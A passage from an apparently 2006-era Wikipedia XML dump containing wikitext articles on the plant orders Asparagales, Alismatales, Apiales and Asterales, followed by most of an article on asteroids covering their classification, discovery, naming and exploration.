*[[Ruscaceae]]
*[[Tecophilaeaceae]]
*[[Themidaceae]]
*[[Xanthorrhoeaceae]]
}}

'''Asparagales''' is an [[order (biology)|order]] of [[monocot]]s which includes a number of  families of non-woody plants. In older classification systems, the families now included in the Asparagales were included in order [[Liliales]], and some genera of which were even included in family [[Liliaceae]]. Some classification systems separate some of the families listed below into additional orders, including orders [[Orchidales]] and [[Iridales]], while other systems, especially the [[Angiosperm Phylogeny Group]]'s classification system, include the Orchidales and Iridales within the Asparagales. The order is named after the genus ''[[Asparagus (genus)|Asparagus]]''.

The Angiosperm Phylogeny Group's classification system is widely used by botanists, and was updated as the APG II in 2002 to include recent findings, especially in [[DNA]] analysis. Their 1998 scheme identified 29 families in order Asparagales. The APG II consolidates some families, and recognizes an alternative system of fewer, larger families, in which certain smaller families can be grouped within other larger families based on close genetic affinities and still follow the 'APG system'. Under the new classification system one could, for example, correctly include daylilies (''[[Hemerocallis]]'') in family [[Hemerocallidaceae]], or in family [[Xanthorrhoeaceae]]. The APG II classification of the Asparagales is as follows: 
*[[Alliaceae]]
**[[Agapanthaceae]]
**[[Amaryllidaceae]]
*[[Asparagaceae]]
**[[Agavaceae]]
**[[Aphyllanthaceae]]
**[[Hesperocallidaceae]]
**[[Hyacinthaceae]]
**[[Laxmanniaceae]]
**[[Ruscaceae]]
**[[Themidaceae]]
*[[Asteliaceae]]
*[[Blandfordiaceae]]
*[[Boryaceae]]
*[[Doryanthaceae]]
*[[Hypoxidaceae]]
*[[Iridaceae]]
*[[Ixioliriaceae]]
*[[Lanariaceae]]
*[[Orchidaceae]]
*[[Tecophilaeaceae]]
*[[Xanthorrhoeaceae]]
**[[Asphodelaceae]]
**[[Hemerocallidaceae]]

Classification systems that separate the Asparagales, Orchidales and Iridales are generally organized as follows:
* Asparagales, narrow sense
** Family [[Asparagaceae]] ([[asparagus]] family)
** Family [[Alliaceae]] (onion family)
*** [[Chives]]
*** [[Garlic]]
*** [[Onion]]
** Family [[Agavaceae]] (agave family)
*** [[Agave]]
*** [[Yucca]]
** Family [[Amaryllidaceae]] ([[amaryllis]] family)
** Family [[Asphodelaceae]] (asphodel family)
*** [[Aloe]]
*** [[Asphodel]]
** Family [[Hyacinthaceae]] (hyacinth family)
*** [[Hyacinthoides|Bluebell]]
*** [[Hyacinth (flower)|Hyacinth]]
** ''Cetera''
* [[Orchidales]]
** Family [[Geosiridaceae]]
** Family [[Burmanniaceae]]
** Family [[Corsiaceae]]
** Family [[Orchidaceae]] (orchid family)
* [[Iridales]]
** Family [[Iridaceae]] (Iris family)
==Asparagales ''sensu'' Kubitzki (1998)==
*[[Orchidaceae]] 
*[[Iridaceae]]
*[[Doryanthaceae]]
*[[Lanariaceae]]
*[[Ixioliriaceae]]
*[[Hypoxidaceae]]
*[[Johnsoniaceae]]
*[[Hemerocallidaceae]]
*[[Tecophilaeaceae]]
*[[Blandfordiaceae]]
*[[Asteliaceae]]
*[[Boryaceae]]
*[[Asphodelaceae]]
*[[Xanthorrhoeaceae]]
*[[Aphyllanthaceae]]
*[[Anemarrhenaceae]]
*[[Amaryllidaceae]]
*[[Agapanthaceae]]
*[[Alliaceae]]
*[[Themidaceae]]
*[[Asparagaceae]]
*[[Hyacinthaceae]]
*[[Lomandraceae]]
*[[Herreriaceae]]
*[[Hostaceae]]
*[[Anthericaceae]]
*[[Agavaceae]]
*[[Eriospermaceae]]
*[[Ruscaceae]]
*[[Behniaceae]]
*[[Dracaenaceae]]
*[[Convallariaceae]]
*[[Nolinaceae]]

==Reference==
*Kubitzki, K.:Conspectus of Families treated in this Volume (1998).Kubitzki, K.(Editor): ''The Families and Genera of Vascular Plants'', Vol.3. Springer-Verlag. Berlin, Germany. ISBN 3-540-64060-6

==External links==

[http://www.mobot.org/MOBOT/research/APweb/orders/asparagalesweb.htm Asparagales] in [http://www.mobot.org/MOBOT/research/APweb Angiosperm Phylogeny Website]

[[Category:Asparagales| ]]

[[co:Asparagales]]
[[da:Asparges-ordenen]]
[[de:Spargelartige]]
[[es:Asparagales]]
[[fr:Asparagales]]
[[la:Asparagales]]
[[nl:Asparagales]]
[[no:Asparagales]]
[[pt:Asparagales]]
[[ru:Asparagales]]
[[fi:Asparagales]]
[[sv:Asparagales]]
[[zh:天門冬目]]</text>
    </revision>
  </page>
  <page>
    <title>Alismatales</title>
    <id>787</id>
    <revision>
      <id>41221508</id>
      <timestamp>2006-02-25T21:58:11Z</timestamp>
      <contributor>
        <ip>212.224.239.235</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Alismatids
| image = Lemna trisulca0.jpg
| image_width = 250px
| image_caption = Ivy Duckweed (''Lemna trisulca'')
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = '''Alismatales''' &lt;small&gt;Dumort. ([[1829]])&lt;/small&gt;
| subdivision_ranks = Families
| subdivision = 
[[Alismataceae]]&lt;br/&gt;
[[Aponogetonaceae]]&lt;br/&gt;
[[Araceae]]&lt;br/&gt;
[[Butomaceae]]&lt;br/&gt;
[[Cymodoceaceae]]&lt;br/&gt;
[[Hydrocharitaceae]]&lt;br/&gt;
[[Juncaginaceae]]&lt;br/&gt;
[[Limnocharitaceae]]&lt;br/&gt;
[[Posidoniaceae]]&lt;br/&gt;
[[Potamogetonaceae]]&lt;br/&gt;
[[Ruppiaceae]]&lt;br/&gt;
[[Scheuchzeriaceae]]&lt;br/&gt;
[[Tofieldiaceae]]&lt;br/&gt;
[[Zosteraceae]]
}}

The order '''Alismatales''' contains the alismatids, a group of [[monocotyledon]]s (class [[Liliopsida]]). The order contains about 165 genera in 14 families, with cosmopolitic distribution. Most families are comprised of [[herb]]aceous non-[[succulent]] plants. These plants are commonly found in aquatic environmments. The [[flower]]s are usually arranged in [[inflorescence]]s, and the mature seeds lack [[endosperm]].

Traditionally, the order Alismatales was restricted to contain just three families (Alismataceae, Butomaceae and Limnocharitaceae). The other families were not considered as alismatids, and were assigned to various distinct orders, but this approach produced [[polyphyletic]] groups, and so the whole group of families is now placed into a single order. 

The [[Petrosaviaceae]] have been placed in this order, but their actual affinity is not so clear. The alismatids have been considered the sister group of the [[Arales]] and the latter are now included here. As a result of this merger, the Araceae became the most important family in the order, accounting alone for over 2000 species in about 100 genera. The rest of families contain together just about 500 species.

== See also ==
*[[Seagrass]]

== References ==
* [[Barthélemy Charles Joseph du Mortier|B. C. J. du Mortier]] (1829). ''Analyse des Familles de Plantes : avec l'indication des principaux genres qui s'y rattachent'', 54. Imprimerie de J. Casterman, Tournay.
* W. S. Judd, C. S. Campbell, E. A. Kellogg, P. F. Stevens, M. J. Donoghue (2002). ''Plant Systematics: A Phylogenetic Approach, 2nd edition.'' pp. 242-247 (Alismatales). Sinauer Associates,  Sunderland, Massachusetts. ISBN 0878934030.
* [http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?mode=Undef&amp;id=16360&amp;lvl=3&amp;lin=f&amp;keep=1&amp;srchmode=1&amp;unlock Alismatales on NCBI]

[[Category:Alismatales|*]]

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  <page>
    <title>Apiales</title>
    <id>788</id>
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      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Apiales
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Apiales'''
| ordo_authority = Nakai
| subdivision_ranks = Families
| subdivision = 
* [[Apiaceae]] ([[carrot]] family)
* [[Araliaceae]] ([[ginseng]] family)
* [[Pittosporaceae]]
* [[Griselinia]]ceae
* [[Torriceliaceae]]
}}

The '''Apiales''' are an order of [[flowering plant]]s. The families given at right are typical of newer classifications, though there is some slight variation, and in particular the Torriceliaceae may be divided. These families are placed within the asterid group of [[dicotyledon]]s.

Under the older [[Cronquist system]], only the Apiaceae and Araliaceae were included here, and the restricted order was placed among the rosids rather than the asterids. The Pittosporaceae were placed within the [[Rosales]], and the other forms within the family [[Cornaceae]].

[[Category:Apiales]]

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  </page>
  <page>
    <title>Asterales</title>
    <id>789</id>
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      <comment>robot  Adding: fi</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Asterales
| image = A_sunflower.jpg
| image_width = 200px
| image_caption = ''Helianthus annuus''
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Asterales''' &lt;small&gt;[[John Lindley|Lindl.]] ([[1833]])&lt;/small&gt;
| subdivision_ranks = [[Family (biology)|Families]]
| subdivision = 
*[[Alseuosmiaceae]]
*[[Argophyllaceae]]
*[[Asteraceae]] - [[Daisy|Daisies]]
*[[Calyceraceae]]
*[[Campanulaceae]] (incl. [[Lobeliaceae]]) - [[Bellflower]]s
*[[Goodeniaceae]]
*[[Menyanthaceae]]
*[[Pentaphragmaceae]]
*[[Phellinaceae]]
*[[Rousseaceae]] (incl. [[Carpodetaceae]])
*[[Stylidiaceae]] (also [[Donatiaceae]])
}}

The '''Asterales''' are an [[order (biology)|order]] of [[dicotyledon]]ous [[flowering plant]]s which include the composite family [[Asteraceae]] ([[sunflower]]s and [[Bellis|daisies]]) and its related families.

The order is cosmopolitic, and includes mostly herbaceous species, although  a small number of trees (''Lobelia'') and shrubs is also present.

The Asterales can be characterized on the morphological and molecular level. Synapomorphies include the [[oligosaccharide]] [[inulin]] as the nutrients storage, and the stamens are usually aggregated densely around the style or even are fused into a tube around it. The last property is probably associated with the plunger (or secondary) [[pollination]], which is common among the families of the order.

== Families ==
The '''Asterales''' include about eleven families, the largest of which is [[Asteraceae]] with about 25,000 species, and [[Campanulaceae]] with about 2,000 species. The remaining families count together for less than 500 species. The two large families are cosmopolitic with center of mass in the northern hemisphere, and the smaller ones are usually confined to Australia and the adjacent areas, or sometimes the South America.

Under the [[Cronquist system]], [[Asteraceae]] was the only family in the group, but newer systems (e. g. [[Angiosperm Phylogeny Group|APG]] II) have expanded it.

==Evolution and biogeography==
The Asterales order probably originated in [[Cretaceous]] on the supercontinent [[Gondwana]], in the area which is now Australia and Asia. Although most extant species are herbaceous, the examination of the basal families in the order suggests that the common ancestor of the order was an arborescent plant.

Fossil evidence of the Asterales is rare and belongs to rather recent epoques, so the precise estimation of the order's age is quite difficult. An [[Oligocene]] pollen is known for Asteraceae and Goodeniaceae, and seeds from Oligocene and [[Miocene]] are known for Menyanthaceae and Campanulaceae respectively.

(Bremer and Gustafsson, 1997)

==Economical importance==
The Asteraceae include some species grown for food, e. g. [[sunflower]] (''Helianthus annuus'') or [[chicory]] (''Cichorium''). Many spices and medicinal herbs are also present.

Of horticultural importance are the Asteraceae (e. g. [[chrysanthemum]]) and Campanulaceae.

==References==
{{commonscat|Asterales}}
* K. Bremer, M. H. G. Gustafsson (1997). East Gondwana ancestry of the sunflower alliance of families. ''Proceedings of the National Academy of Sciences U.S.A.'' '''94''', 9188-9190. (Available online: [http://www.pnas.org/cgi/content/abstract/94/17/9188 Abstract] | [http://www.pnas.org/cgi/content/full/94/17/9188 Full text (HTML)] | [http://www.pnas.org/cgi/reprint/94/17/9188.pdf Full text (PDF)])
* W. S. Judd, C. S. Campbell, E. A. Kellogg, P. F. Stevens, M. J. Donoghue (2002). ''Plant Systematics: A Phylogenetic Approach, 2nd edition.'' pp. 476-486 (Asterales). Sinauer Associates,  Sunderland, Massachusetts. ISBN 0878934030.
* [[John Lindley|J. Lindley]] (1833). ''Nixus Plantarum'', 20. Londini.
* Smissen, R. D. (December 2002). Asterales (Sunflower). In: ''Nature Encyclopedia of Life Sciences''. Nature Publishing Group, London. (Available online: [http://dx.doi.org/10.1038/npg.els.0003736 DOI] | [http://www.els.net/ ELS site])

[[Category:Asterales| ]]

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  <page>
    <title>Asteroid</title>
    <id>791</id>
    <revision>
      <id>42043436</id>
      <timestamp>2006-03-03T12:04:56Z</timestamp>
      <contributor>
        <ip>65.31.89.248</ip>
      </contributor>
      <comment>/* Asteroid exploration */</comment>
      <text xml:space="preserve">:''This page is about the astronomical body ''Asteroid''. For the arcade game, see [[Asteroids]]''.

An '''asteroid''' is a small, solid object in our [[Solar System]], orbiting the [[Sun]]. An asteroid is an example of a [[minor planet]] (or '''planetoid'''), which are much smaller than [[planet]]s. Most asteroids are believed to be remnants of the [[protoplanetary disc]] which were not incorporated into planets during the system's formation due to excessive gravitational perturbations by [[Jupiter]]. Some asteroids have [[Asteroid moon|moon]]s. The vast majority of the asteroids are within the main [[asteroid belt]], with [[ellipse|elliptical]] orbits between those of [[Mars (planet)|Mars]] and [[Jupiter]]. [[image:433eros.jpg|thumb|right|250px|This picture of [[433 Eros]] shows the view looking from one end of the asteroid across the gouge on its underside and toward the opposite end. Features as small as 35 m across can be seen.]]



==Asteroids in the solar system==
[[Image:4 Vesta 1 Ceres Moon at 20 km per px.png|thumb|right|Left to right: [[4 Vesta]], [[1 Ceres]], Earth's [[Moon]].]]
Hundreds of thousands of asteroids have been discovered within the solar system, and the present rate of discovery is about 5000 per month. As of [[February 23]], [[2006]], from a total of 325,627 &lt;!--- astorb.dat record count ---&gt; registered minor planets, 120,437 have orbits known well enough to be given [[asteroid naming conventions|permanent official numbers]]. Of these, 12890&lt;!--- using http://cfa-www.harvard.edu/iau/lists/MPNames.html ---&gt; have official names (trivia: at least 610 of these names require [[diacritic]]s). The lowest-numbered but unnamed minor planet is [[(3360) 1981 VA]]; the highest-numbered named minor planet is [[117506 Wildberg]] [http://cfa-www.harvard.edu/iau/lists/NumberedMPs115001.html].

Current estimates put the total number of asteroids in the solar system at several million. The largest asteroid in the inner solar system is [[1 Ceres]], with a diameter of 900-1000 km. Two other large inner solar system belt asteroids are [[2 Pallas]] and [[4 Vesta]]; both have diameters of ~500 km. Vesta is the only main belt asteroid that is sometimes visible to the naked eye (in some very rare occasions, a near-Earth asteroid may be visible without technical aid; see [[99942 Apophis]]).

The mass of all the asteroids of the Main Belt is estimated to be about 2.3x10&lt;sup&gt;21&lt;/sup&gt;&amp;nbsp;kg, or about 3% of the mass of our moon. Of this, [[1 Ceres]] comprises 940 to 950x10&lt;sup&gt;18&lt;/sup&gt;&amp;nbsp;kg, some 40% of the total. Adding in the next three most massive asteroids, [[4 Vesta]] (12%), [[2 Pallas]] (9%), and [[10 Hygiea]] (4%), bring this figure up 66%; while the three after that, [[511 Davida]] (1.6%), [[704 Interamnia]] (1.4%), and [[3 Juno]] (1.2%), only add another 4% to the total mass. The number of asteroids then increases [[Exponential distribution|exponentially]] as their individual masses decrease. 

See also a [[List of noteworthy asteroids]] in our Solar System, or a sequentially-ordered [[List of asteroids]].

==Asteroid classification==
Asteroids are commonly classified into groups based on the characteristics of their orbits and on the details of the [[visible spectrum|spectrum]] of sunlight they reflect.

===Orbit groups and families===
:''main articles: [[asteroid family]] and [[minor planet]]''

Many asteroids have been placed in groups and families based on their orbital characteristics. It is customary to name a group of asteroids after the first member of that group to be discovered. Groups are relatively loose dynamical associations, whereas families are much &quot;tighter&quot; and result from the catastrophic break-up of a large parent asteroid sometime in the past.

For a full listing of known asteroid groups and families, see [[minor planet]] and [[asteroid family]].

===Spectral classification===
[[Image:253 Mathilde small.jpg|thumb|right|[[253 Mathilde]], a [[C-type asteroid]].]]
In 1975, an asteroid [[taxonomy|taxonomic]] system based on [[colour]], [[albedo]], and [[spectral line|spectral shape]] was developed by [[Clark R. Chapman]], [[David Morrison]], and [[Ben Zellner]]. These properties are thought to correspond to the composition of the asteroid's surface material. Originally, they classified only three types of asteroids:

*[[C-type asteroid]]s - carbonaceous, 75% of known asteroids
*[[S-type asteroid]]s - silicaceous, 17% of known asteroids
*[[M-type asteroid]]s - metallic, most of the remaining asteroids

This list has since been expanded to include a number of other asteroid types. The number of types continues to grow as more asteroids are studied. See [[Asteroid spectral types]] for more detail or [[:Category:Asteroid spectral classes]] for a list.

Note that the proportion of known asteroids falling into the various spectral types does not necessarily reflect the proportion of all asteroids that are of that type; some types are easier to detect than others, biasing the totals.

====Problems with spectral classification====

Originally, spectral designations were based on inferences of an asteroid's composition:

* C - [[carbonate|Carbonaceous]]
* S - [[silicate|Silicaceous]]
* M - [[Metallic]]

However, the correspondence between spectral class and composition is not always very good, and there are a variety of classifications in use. This has led to significant confusion. While asteroids of different spectral classifications are likely to be composed of different materials, there are no assurances that asteroids within the same taxonomic class are composed of similar materials.

At present, the spectral classification based on several coarse resolution spectroscopic surveys in the 1990s is still the standard. Scientists have been unable to agree on a better taxonomic system, largely due to the difficulty of obtaining detailed measurements consistently for a large sample of asteroids (e.g. finer resolution spectra, or non-spectral data such as densities would be very useful).

==Asteroid discovery==
===Historical discovery methods===
Asteroid discovery methods have drastically improved over the past two centuries. 

In the last years of the [[18th century]], Baron [[Franz Xaver von Zach]] organized a group of 24 astronomers to search the sky for the &quot;missing planet&quot; predicted at about 2.8 [[Astronomical unit|AU]] from the [[Sun]] by the [[Titius-Bode law]], partly as a consequence of the discovery, by Sir [[William Herschel]] in [[1781]], of the planet [[Uranus (planet)|Uranus]] at the distance &quot;predicted&quot; by the law. This task required that hand-drawn sky charts be prepared for all stars in the [[zodiac]]al band down to an agreed-upon limit of faintness. On subsequent nights, the sky would be charted again and any moving object would, hopefully, be spotted. The expected motion of the missing planet was about 30 seconds of arc per hour, readily discernable by observers.

Ironically, the first asteroid, [[1 Ceres]], was not discovered by a member of the group, but rather by accident in [[1801]] by [[Giuseppe Piazzi]] director, at the time, of the observatory of [[Palermo]], in [[Sicily]]. He discovered a new star-like object in [[Taurus]] and followed the displacement of this object during several nights. His colleague, [[Carl Friedrich Gauss]], used these observations to determine the exact distance from this unknown object to the Earth. Gauss' calculations placed the object between the planets [[Mars (planet)|Mars]] and [[Jupiter (planet)|Jupiter]]. Piazzi named it after [[Ceres (mythology)|Ceres]], the Roman goddess of agriculture.

Three other asteroids ([[2 Pallas]], [[3 Juno]], [[4 Vesta]]) were discovered over the next few years, with Vesta found in [[1807]]. After eight more years of fruitless searches, most astronomers assumed that there were no more and abandoned any further searches.

However, [[Karl Ludwig Hencke]] persisted, and began searching for more asteroids in [[1830]]. Fifteen years later, he found [[5 Astraea]], the first new asteroid in 38 years. He also found [[6 Hebe]] less than two years later. After this, other astronomers joined in the search and at least one new asteroid was discovered every year after that (except the wartime year 1945). Notable asteroid hunters of this early era were [[John Russell Hind|J. R. Hind]], [[Annibale de Gasparis]], [[Karl Theodor Robert Luther|Robert Luther]], [[Hermann Mayer Salomon Goldschmidt|H. M. S. Goldschmidt]], [[Jean Chacornac]], [[James Ferguson (astronomer)|James Ferguson]], [[Norman Robert Pogson]], [[Ernst Wilhelm Leberecht Tempel|E. W. Tempel]], [[James Craig Watson|J. C. Watson]], [[Christian Heinrich Friedrich Peters|C. H. F. Peters]], [[Alphonse Louis Nicolas Borrelly|A. Borrelly]], [[Johann Palisa|J. Palisa]], [[Paul Henry and Prosper Henry]] and [[Auguste Charlois]].

In [[1891]], however, [[Maximilian Franz Joseph Cornelius Wolf|Max Wolf]] pioneered the use of [[astrophotography]] to detect asteroids, which appeared as short streaks on long-exposure photographic plates. This drastically increased the rate of detection compared with previous visual methods: Wolf alone discovered 248 asteroids, beginning with [[323 Brucia]], whereas only slightly more than 300 had been discovered up to that point. Still, a century later, only a few thousand asteroids were identified, numbered and named. It was known that there were many more, but most astronomers did not bother with them, calling them &quot;vermin of the skies&quot;.

===Modern discovery methods===
Until [[1998]], asteroids were discovered by a four-step process. First, a region of the sky was [[photograph]]ed by a wide-field [[telescope]]. Pairs of photographs were taken, typically one hour apart. Multiple pairs could be taken over a series of days. Second, the two [[film]]s of the same region were viewed under a [[stereoscope]]. Any body in orbit around the Sun would move slightly between the pair of films. Under the stereoscope, the image of the body would appear to float slightly above the background of stars. Third, once a moving body was identified, its location would be measured precisely using a digitizing microscope. The location would be measured relative to known star locations [http://astrogeology.usgs.gov/About/People/CarolynShoemaker/].

These first three steps do not constitute asteroid discovery: the observer has only found an [[apparition]], which gets a [[Provisional designation in astronomy|provisional designation]], made up of the year of discovery, a code of two letters representing the week of discovery, and of a number so more than the one discovered one took place in this week (example: 1998 FJ74). 

The final step of discovery is to send the locations and time of observations to [[Brian Marsden]] of the [[Minor Planet Center]]. Dr. Marsden has computer programs that compute whether an apparition ties together previous apparitions into a single orbit. If so, the object gets a number. The observer of the first apparition with a calculated orbit is declared the discoverer, and he gets the honour of naming the asteroid (subject to the approval of the [[International Astronomical Union]]) once it is numbered.

===Latest technology: detecting hazardous asteroids===
There is increasing interest in identifying asteroids whose orbits cross [[Earth|Earth's]] orbit, and that could, given enough time, collide with Earth (see [[Earth-crosser asteroid]]s). The three most important groups of [[near-Earth asteroid]]s are the [[Apollo asteroid|Apollos]], [[Amor_asteroid|Amors]], and the [[Aten_asteroid|Atens]]. Various [[asteroid deflection strategies]] have been proposed.

The [[near-Earth object|near-Earth]] asteroid [[433 Eros]] had been discovered as long ago as [[1898]], and the [[1930]]s brought a flurry of similar objects. In order of discovery, these were: [[1221 Amor]], [[1862 Apollo]], [[2101 Adonis]], and finally [[69230 Hermes]], which approached within 0.005 [[Astronomical Unit|AU]] of the [[Earth]] in [[1937]]. Astronomers began to realize the possibilities of Earth impact.

Two events in later decades increased the level of alarm: the increasing acceptance of [[Walter Alvarez]]' theory of [[K-T extinction|dinosaur extinction]] being due to an [[impact event]], and the [[1994]] observation of [[Comet Shoemaker-Levy 9]] crashing into [[Jupiter (planet)|Jupiter]]. The U.S. military also declassified the information that its military satellites, built to detect nuclear explosions, had detected hundreds of upper-atmosphere impacts by objects ranging from one to 10 metres across.

All of these considerations helped spur the launch of highly efficient automated systems that consist of Charge-Coupled Device ([[Charge-coupled device|CCD]]) cameras and computers directly connected to telescopes. Since [[1998]], a large majority of the asteroids have been discovered by such automated systems. A list of teams using such automated systems includes [http://neo.jpl.nasa.gov/programs]:

* The [[Lincoln Near-Earth Asteroid Research]] (LINEAR) team
* The [[Near-Earth Asteroid Tracking]] (NEAT) team
* [[Spacewatch]]
* The [[LONEOS|Lowell Observatory Near-Earth-Object Search]] (LONEOS) team
* The [[Catalina Sky Survey]] (CSS)
* The [[Campo Imperatore Near-Earth Objects Survey]] (CINEOS) team
* The [[Japanese Spaceguard Association]]
* The [[Asiago-DLR Asteroid Survey]] (ADAS)

The LINEAR system alone has discovered 62,283 asteroids as of [[December 14]], [[2005]] [http://cfa-www.harvard.edu/iau/lists/MPDiscSites.html]. Between all of the automated systems, 3868 near-Earth asteroids have been discovered [http://cfa-www.harvard.edu/iau/lists/Unusual.html] including over 600 more than 1 km in diameter.

==Naming asteroids==
===The naming format===
Newly discovered asteroids are given a [[Provisional designation in astronomy|provisional designation]] consisting of the year of discovery and an alphanumeric code, such as 2001 FH. When its orbit is confirmed, it is given a number, and later may also be given a name (e.g. [[1 Ceres]]). The formal naming convention uses parentheses around the number (e.g. ''(433) Eros''), however, dropping the parentheses is quite common. Informally, especially when a name is repeated in running text, it is common to drop the number altogether, or to drop it after the first mention.

The [[Minor Planet Circular]] (MPC) of [[October 19]], [[2005]] was a historical one, as it saw the highest numbered asteroid jump from 99947 to 118161, causing a small &quot;[[Y2k]]&quot; like crisis for various automated data services &amp;mdash;up until then, only five digits were allowed in most data formats for the asteroid number. This has been addressed in some data fields by having the leftmost digit, the ten-thousands place, use the alphabet as a digit extension. A=10, B=11,…, Z=35, a=36,…, z=61. The highest number 120437 thus is cross-referenced as C0437 on some lists. Also, the fictional asteroid of ''[[The Little Prince]]'', '''B612''', now could be connected with the real (110612) 2001 TA&lt;sub&gt;142&lt;/sub&gt; which is listed as (B0612) 2001 TA&lt;sub&gt;142&lt;/sub&gt; in the compacted lists &amp;mdash;although it is already present as [[46610 Bésixdouze]] (B612 in hexadecimal translates to 46610 in decimal notation).

===Unnamed asteroids===
Unnamed asteroids that have been given a number keep their provisional designation, e.g. [[(29075) 1950 DA]].

As modern discovery techniques have discovered vast numbers of new asteroids, they are increasingly being left unnamed. The first asteroid to be left unnamed was [[(3360) 1981 VA]]. On rare occasions, an asteroid's [[Provisional designation in astronomy|provisional designation]] may become used as a name in itself: the still unnamed [[(15760) 1992 QB₁]] gave its name to a group of asteroids which became known as [[cubewano]]s.

===Sources for names===
The first few asteroids were named after figures from [[Graeco-Roman mythology]], but as such names started to run out, others were used &amp;mdash;famous people, literary characters, the names of the discoverer's wives,  children, and even television characters. 

The first asteroid to be given a non-mythological name was [[20 Massalia]], named after the city of [[Marseille|Marseilles]]. For some time only female (or feminized) names were used; [[Alexander von Humboldt]] was the first man to have an asteroid named after him, but his name was feminized to [[54 Alexandra]]. This unspoken tradition lasted until [[334 Chicago]] was named; even then, oddly feminised names show up in the list for years afterward.

As the number of asteroids began to run into the hundreds, and eventually the thousands, discoverers began to give them increasingly frivolous names. The first hints of this were [[482 Petrina]] and [[483 Seppina]], named after the discoverer's pet dogs. However, there was little controversy about this until [[1971]], upon the naming of [[2309 Mr. Spock]] (which was not even named after the ''[[Star Trek]]'' character, but after the discoverer's cat who supposedly bore a resemblance to him). Although the [[International Astronomical Union|IAU]] subsequently banned pet names as sources, eccentric asteroid names are still being proposed and accepted, such as [[6042 Cheshirecat]], [[9007 James Bond]], or [[26858 Misterrogers]].

For a full list, see [[meanings of asteroid names]].

===Special naming rules===
Asteroid naming is not always a free-for-all: there are some types of asteroid for which rules have developed about the sources of names. For instance [[Centaur (planetoid)|Centaurs]] (asteroids orbiting between Saturn and Neptune) are all named after mythological [[centaur]]s, [[Trojan asteroid|Trojans]] after heroes from the [[Trojan War]], and [[trans-Neptunian objects]] after underworld spirits.

==Asteroid symbols==
The first few asteroids discovered were assigned symbols like the ones traditionally used to designate Earth, the Moon, the Sun and planets. The symbols quickly became ungainly, hard to draw and recognise. By the end of [[1851]] there were 15 known asteroids, each (except one) with its own symbol. The first four's main variants are shown here:

:1 Ceres [[Image:1 Ceres (0).png|15px|Old planetary symbol of Ceres]] [[Image:1 Ceres (1).png|15px|Variant symbol of Ceres]] [[Image:1 Ceres (2).png|15px|Sickle variant symbol of Ceres]] [[Image:1 Ceres (3).png|20px|Other sickle variant symbol of Ceres]]
:2 Pallas [[Image:2 Pallas (0).png|15px|Old symbol of Pallas]] [[Image:2 Pallas (1).png|15px|Variant symbol of Pallas]]
:3 Juno [[Image:3 Juno (0).png|15px|Old symbol of Juno]] [[Image:3 Juno (1).png|15px|Other symbol of Juno]]
:4 Vesta [[Image:4 Vesta (0).png|15px|Old symbol of Vesta]] [[Image:100px-Simbolo di Vesta.jpg|15px|Old planetary symbol of Vesta]] [[Image:4 Vesta (1).png|15px|Modern astrological symbol of Vesta]]

[[Johann Franz Encke]] made a major change in the ''Berliner Astronomisches Jahrbuch'' (BAJ, &quot;Berlin Astronomical Yearbook&quot;) for [[1854]]. He introduced encircled numbers instead of symbols, although his numbering began with [[5 Astraea|Astraea]], the first four asteroids continuing to be denoted by their traditional symbols. This symbolic innovation was adopted very quickly by the astronomical community. The following year ([[1855]]), Astraea's number was bumped up to 5, but Ceres through Vesta would be listed by their numbers only in the [[1867]] edition. A few more asteroids ([[28 Bellona]], [[35 Leukothea]], and [[37 Fides]]) would be given symbols as well as using the numbering scheme.

The circle would become a pair of parentheses, and the parentheses sometimes omitted altogether over the next few decades.

For details, see [[James L. Hilton]], [[2001]], [http://aa.usno.navy.mil/hilton/AsteroidHistory/minorplanets.html ''When Did the Asteroids Become Minor Planets?''].

==Asteroid exploration==
Until the age of [[space travel]], asteroids were merely pinpricks of light in even the largest telescopes and their shapes and terrain remained a mystery. 

The first [[close-up]] photographs of asteroid-like objects were taken in [[1971]] when the [[Mariner 9]] probe imaged [[Phobos (moon)|Phobos]] and [[Deimos (moon)|Deimos]], the two small moons of [[Mars (planet)|Mars]], which are probably captured asteroids. These images revealed the irregular, potato-like shapes of most asteroids, as did subsequent images from the [[Voyager program|Voyager]] probes of the small moons of the [[gas giant]]s.

[[Image:951 Gaspra.jpg|thumb|right|[[951 Gaspra]], the first asteroid to be imaged in close up.]]
The first true asteroid to be photographed in close-up was [[951 Gaspra]] in [[1991]], followed in [[1993]] by [[243 Ida]] and its moon [[Dactyl (asteroid)|Dactyl]], all of which were imaged by the [[Galileo spacecraft|Galileo probe]] ''en route'' to [[Jupiter (planet)|Jupiter]]. 

The first dedicated asteroid probe was [[NEAR Shoemaker]], which photographed [[253 Mathilde]] in [[1997]], before entering into orbit around [[433 Eros]], finally landing on its surface in [[2001]].

Other asteroids briefly visited by spacecraft ''en route'' to other destinations include [[9969 Braille]] (by [[Deep Space 1]] in [[1999]]), and [[5535 Annefrank]] (by [[Stardust (spacecraft)|Stardust]] in [[2002]]).

In September [[2005]], the Japanese [[Hayabusa]] probe started studying [[25143 Itokawa]] in detail and will return samples of its surface to earth. Following that, the next asteroid encounters will involve the European [[Rosetta space probe|Rosetta probe]] (launched in [[2004]]), which will study [[2867 Steins|2867 &amp;#352;teins]] and [[21 Lutetia]] in [[2008]] and [[2010]]. 

As a consequence of cost overruns and technical problems, [[NASA]] cancelled its [[Dawn Mission]] in March, 2006.  Dawn was originally scheduled to launch June 2006 (later rescheduled for 2007) and was to orbit both [[1 Ceres]] and [[4 Vesta]] in [[2011]]-[[2015]].

It has been suggested that asteroids might be used in the future as a source of materials which may be rare or exhausted on earth ([[asteroid mining]]).

==Asteroids in fiction and film==
Understandably, most fictional depictions of asteroids focus on their potential risk of striking Earth. Representations of the asteroid belt in film tend to make it unrealistically cluttered with dangerous rocks; in reality asteroids, even in the main belt, are spaced extremely far apart.

